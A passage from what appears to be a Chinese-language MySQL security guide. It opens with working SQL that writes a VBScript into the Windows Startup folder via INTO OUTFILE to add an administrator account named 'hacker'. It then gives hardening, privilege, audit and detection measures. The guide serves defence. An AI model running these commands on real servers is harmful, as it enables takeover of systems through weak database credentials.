mysql -u root -h target_ip -p(空密碼或簡單密碼)。USE test;
CREATE TABLE evil (cmd TEXT);
INSERT INTO evil VALUES ('Set wshShell=CreateObject("WScript.Shell")');
INSERT INTO evil VALUES ('a=wshShell.Run("cmd.exe /c net user hacker P@ssw0rd /add",0)');
INSERT INTO evil VALUES ('b=wshShell.Run("cmd.exe /c net localgroup Administrators hacker /add",0)');
SELECT * FROM evil
INTO OUTFILE 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\evil.vbs'
LINES TERMINATED BY '\r\n';
SELECT ... INTO OUTFILE 需 FILE 權限(root 預設擁有)。| 層面 | 措施 | 實施指令/配置 |
|---|---|---|
| 帳號 | 強制 root 複雜密碼、禁用遠程 root | ALTER USER 'root'@'%' IDENTIFIED BY '...'; DELETE FROM mysql.user WHERE User='root' AND Host='%'; |
| 網路 | 防火牆僅開放應用伺服器 IP | firewall-cmd --add-rich-rule='rule family=ipv4 source address=10.0.1.0/24 port port=3306 protocol=tcp accept' |
| 權限 | 回收非必要 FILE、SHUTDOWN、PROCESS、SUPER 權限 | REVOKE FILE, SHUTDOWN, PROCESS, SUPER ON *.* FROM 'app'@'%'; |
| 配置 | secure_file_priv 限制導出目錄 | [mysqld] secure_file_priv=/var/lib/mysql-files/(空值禁用) |
| 配置 | local_infile=OFF 禁用客戶端讀本地檔 | [mysqld] local_infile=0 |
| 監控 | 審計日誌記錄 INTO OUTFILE、GRANT、建表 | 安裝 audit_log 外掛,設定 audit_log_policy=ALL |
| 主機 | 啟動資料夾寫入權限收斂 | ICACLS "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" /inheritance:r /grant:r "Administrators:(OI)(CI)F" "SYSTEM:(OI)(CI)F" |
| 修補 | 定期更新 MySQL、OS、OpenSSL | 訂閱安全公告、自動化修補流程 |
mysql.user 是否有異常帳號/Host。.vbs、.bat、.ps1 於啟動資料夾、排程任務、註冊表 Run 鍵。INTO OUTFILE、CREATE TABLE、GRANT 異常操作。資料庫安全不僅是設定密碼,需構建「網路-配置-權限-審計-主機」纵深防禦體系。